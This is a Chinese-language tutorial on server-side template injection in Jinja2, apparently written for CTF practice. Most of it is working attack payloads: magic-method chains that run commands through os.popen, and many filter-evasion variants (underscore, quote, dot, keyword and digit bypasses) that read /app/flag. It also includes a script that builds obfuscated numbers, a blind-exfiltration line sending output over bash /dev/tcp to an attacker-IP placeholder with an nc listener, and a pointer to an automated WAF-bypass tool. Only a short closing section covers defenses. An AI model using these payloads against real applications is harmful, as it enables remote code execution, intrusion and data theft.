← 返回主页
NOTE

SSTI 实战

整理服务端模板注入识别、利用链路与模板安全防护。

1 SSTI漏洞概述

服务器端模板注入(Server-Side Template Injection,SSTI)是一种严重的安全漏洞,发生在用户输入被不安全地嵌入到服务器端处理的模板中时。这些模板引擎(如Python中的Jinja2、PHP中的Twig)用于渲染动态网页,但当攻击者能够注入模板指令时,可能导致敏感信息泄露代码执行甚至完全远程控制服务器

与SQL注入类似,SSTI也是一种注入攻击,但其目标不是数据库,而是模板引擎。成功利用SSTI漏洞的攻击者可以执行任意代码,读取服务器上的文件,发送HTTP请求,获取系统信息等。

2 模板引擎与Jinja2基础

2.1 模板引擎简介

模板引擎允许开发者在静态模板文件中使用占位符,然后在运行时用实际值替换这些变量,从而动态生成HTML页面。常见的模板引擎包括Smarty、Twig、Jinja2、FreeMarker和Velocity等。

2.2 Jinja2模板语法

Jinja2是Python生态中广泛使用的模板引擎,具有以下基本语法结构:

  • 变量引用{{ variable }} - 用于引用模板中的变量
  • 表达式求值{{ expression }} - 用于求值模板中的表达式
  • 函数调用{{ function(arguments) }} - 用于调用模板中的函数
  • 过滤器应用{{ variable | filter }} - 将过滤器应用于变量值
  • 条件语句{% if condition %} ... {% endif %} - 基于条件执行代码块
  • 循环语句{% for item in iterable %} ... {% endfor %} - 遍历可迭代对象

3 漏洞检测与确认

3.1 检测方法

SSTI漏洞通常存在于以下注入点:

  • 用户名、个人资料名称、搜索输入框
  • 联系表单或支持消息字段
  • URL参数或路由变量
  • 反映用户输入的错误信息

3.2 检测Payload

使用以下表达式测试是否存在SSTI漏洞:

模板引擎检测Payload预期结果
Jinja2/Twig/Django{{7*7}}49
ERB (Ruby)<%= 7*7 %>49
Velocity/JSP${7*7}49
Thymeleaf#{7*7}49

如果页面返回计算结果”49”,则很可能存在SSTI漏洞。

3.3 在线实验环境

推荐使用以下在线环境进行SSTI练习:

4 Python魔术方法与SSTI原理

4.1 魔术方法简介

Python中的魔术方法(Magic Methods)是以双下划线开头和结尾的特殊方法(如__init__),它们由Python解释器自动调用,用于实现各种操作。以下是与SSTI利用相关的关键魔术方法:

方法名功能说明
__class__返回对象实例所属的类
__mro__返回类所继承的基类元组,方法解析按元组顺序进行
__base__返回类所继承的基类(与__mro__类似,用于寻找基类)
__subclasses__返回当前类的所有可用子类的引用列表
__init__类的初始化方法
__globals__引用包含函数全局变量的字典

4.2 SSTI利用链原理

SSTI利用的核心是通过构造链式访问来获取危险的函数或模块:

  1. 从简单对象(如空字符串''或空列表[])获取其类
  2. 通过__class____base____mro__找到基类(通常是object)
  3. 通过__subclasses__()获取所有已加载的子类
  4. 在这些子类中寻找包含危险函数的类(如os.popensubprocess.Popen
  5. 通过__init____globals__访问全局变量和函数
  6. 执行任意命令或读取敏感文件

5 基础Payload示例

以下是实现RCE(远程代码执行)的基础Payload:

{{ ''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('echo hello').read() }}

也可以从模板类出发寻找需要的类构造利用链,例如。

{{lipsum.__globals__['os'].popen('ls').read()}}

6 常见过滤与绕过技巧

6.1 过滤{{ 的情况

{{被过滤,可使用{%print ... %}替代:

{% print ''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('echo hello').read() %}

6.2 过滤[] 的情况

若中括号被过滤,可使用.__getitem__()方法替代:

{% print ''.__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__['popen']('echo hello').read() %}

6.3 过滤引号的情况

可利用请求参数传递字符串,例如使用request.args

{{ [].__class__.__base__.__subclasses__()[133].__init__.__globals__[request.args.x](request.args.y).read() }}

URL示例:

http://node5.anna.nssctf.cn:28012/level/5?x=popen&y=cat /app/flag

特殊情况:若request也被过滤,可使用字符串拼接构造所需方法名:

{% set a = dict(__glo=a, bals__=a) | join %}
{{ '' | attr(a) }}   {# 相当于 {{ ''.__globals__ }} #}

6.4 过滤_ 的情况

使用Unicode编码绕过,如用\x5f代替_

{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[133]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('ls').read() }}

\也被禁用,可以用以下的方式构造_

{{ lipsum|escape|batch(22)|list|first|last }}

这个Payload的原理是:lipsum函数生成包含HTML实体的文本,escape过滤器将这些实体解码为实际字符,batch(22)将字符串分成22个字符的批次,list转换为列表,first取第一个批次,last取该批次的最后一个字符(正好是下划线_)。

6.5 过滤. 的情况

使用|attr过滤器或中括号语法替代点调用:

{{ '' | attr('\x5f\x5fclass\x5f\x5f') | attr('\x5f\x5fbase\x5f\x5f') | attr('\x5f\x5fsubclasses\x5f\x5f')().__getitem__(133) | attr('\x5f\x5finit\x5f\x5f') | attr('\x5f\x5fglobals\x5f\x5f').popen('ls').read() }}

或使用中括号语法:

{{ ''['__class__']['__base__']['__subclasses__']()[133]['__init__']['__globals__']['popen']('ls')['read']() }}

6.6 过滤魔法方法关键字的情况

若关键字如classinit等被过滤,可使用字符串拼接或十六进制编码绕过:

拼接示例:

{{ ''['__cla'+'ss__']['__ba'+'se__']['__subclas'+'ses__']()[133]['__in'+'it__']['__glo'+'bals__']['pop'+'en']('ls')['read']() }}

6.7 过滤数字的情况

若数字被过滤,可通过表达式构造所需数值:

  • ''|length 返回 0(空字符长度为0)
  • 'a'|length 返回 1

使用以下脚本生成表达式构造较大数字:

import math

target = int(input())
res = ""

while target > 1:
    pow = math.floor(math.log2(target))
    temp = "(dict(a=a)|length+dict(a=a)|length)**("
    for i in range(pow):
        if i != 0:
            temp += "+"
        temp += "dict(a=a)|length"
    if pow == 0:
        temp += "(a)|length"
    temp += ")"
    res += temp + "+"
    target -= math.pow(2, pow)
if target == 0:
    res += "(a)|length"
elif target == 1:
    res += "dict(a=a)|length"

with open('output.txt', 'w') as f:
    f.write(str(res))

生成Payload示例:

{{ ''.__class__.__base__.__subclasses__()[('a'|length + 'a'|length) ** ('a'|length + 'a'|length + 'a'|length + 'a'|length + 'a'|length + 'a'|length + 'a'|length) + ('a'|length + 'a'|length) ** ('a'|length + 'a'|length) + 'a'|length].__init__.__globals__['popen']('cat /app/flag').read() }}

+被过滤的情况下可以用以下方式求和:

(11,12,13)|sum

6.8 组合过滤绕过

实际环境中往往存在多种过滤机制,需组合使用上述技巧构造有效Payload。例如,当过滤['\'','"','+', 'request', '.', '[', ']' ]时,可以使用以下复杂Payload:

{% set a = dict(__cla=a, ss__=a) | join %}
{% set b = dict(__ba=a, se__=a) | join %}
{% set c = dict(__subcla=a, sses__=a) | join %}
{% set d = dict(__get=a, item__=a) | join %}
{% set e = dict(__in=a, it__=a) | join %}
{% set f = dict(__glo=a, bals__=a) | join %}
{% set g = dict(po=a, pen=a) | join %}
{% set i = dict(re=a, ad=a) | join %}
{% set builtins_str = dict(__buil=a, tins__=a) | join %}
{% set chr_str = dict(chr=a) | join %}
{% set cat_str = dict(cat=a) | join %}
{% set app_str = dict(app=a) | join %}
{% set flag_str = dict(flag=a) | join %}
{% set builtins = range|attr(a)|attr(b)|attr(c)()|attr(d)(133)|attr(e)|attr(f)|attr(d)(builtins_str) %}
{% set chr_func = builtins|attr(d)(chr_str) %}
{% set less = chr_func(60) %}
{% set slash = chr_func(47) %}
{% set cmd = cat_str ~ less ~ slash ~ app_str ~ slash ~ flag_str %}
{{ range|attr(a)|attr(b)|attr(c)()|attr(d)(133)|attr(e)|attr(f)|attr(d)(g)(cmd)|attr(i)() }}

其中为了构造特殊字符,构造了一个额外的函数chr_func,它的实际值为:

range.__class__.__base__.__subclasses__[133].__init__.__globals__['__builtins__']['chr']

7 SSTI盲注技巧

7.1 出网情况(可外连)

  1. 攻击者监听端口:

    nc -lvnp 4444
    
  2. 构造Payload执行命令并回传数据:

    {% print ''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('bash -c "ls >& /dev/tcp/攻击者IP/4444 0>&1"').read() %}
    

7.2 不出网情况(不可外连)

将命令执行结果重定向到Web静态目录下的文件中,然后通过浏览器直接访问该文件:

{% print ''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls / > /app/static/result.txt').read() %}

随后访问: http://靶场地址/static/result.txt

8 自动化工具

Fenjing 是一款专为CTF设计的Jinja2 SSTI全自动绕WAF脚本,可以自动检测和利用SSTI漏洞,并绕过常见的WAF防护规则。

主要特性:

  • 自动检测SSTI漏洞
  • 支持多种绕过技巧
  • 可自定义Payload
  • 提供Web界面和命令行接口

安装和使用:

pip install fenjing
python -m fenjing webui --host 0.0.0.0 --port 11451

访问 http://127.0.0.1:11451/ 即可使用Web界面。

9 防御措施

为了防止SSTI攻击,建议采取以下措施:

  1. 避免使用render_template_string():尽量避免直接将用户输入传递给模板渲染函数
  2. 输入验证与过滤:对用户输入进行严格验证,拒绝包含模板语法的输入
  3. 沙箱环境:在安全的沙箱环境中执行模板,限制其访问系统资源的能力
  4. 白名单机制:只允许使用经过审查安全的函数和过滤器
  5. 上下文隔离:确保模板只能访问明确允许的变量和函数
  6. 持续监控:监控应用程序日志和异常活动,及时发现和响应SSTI攻击尝试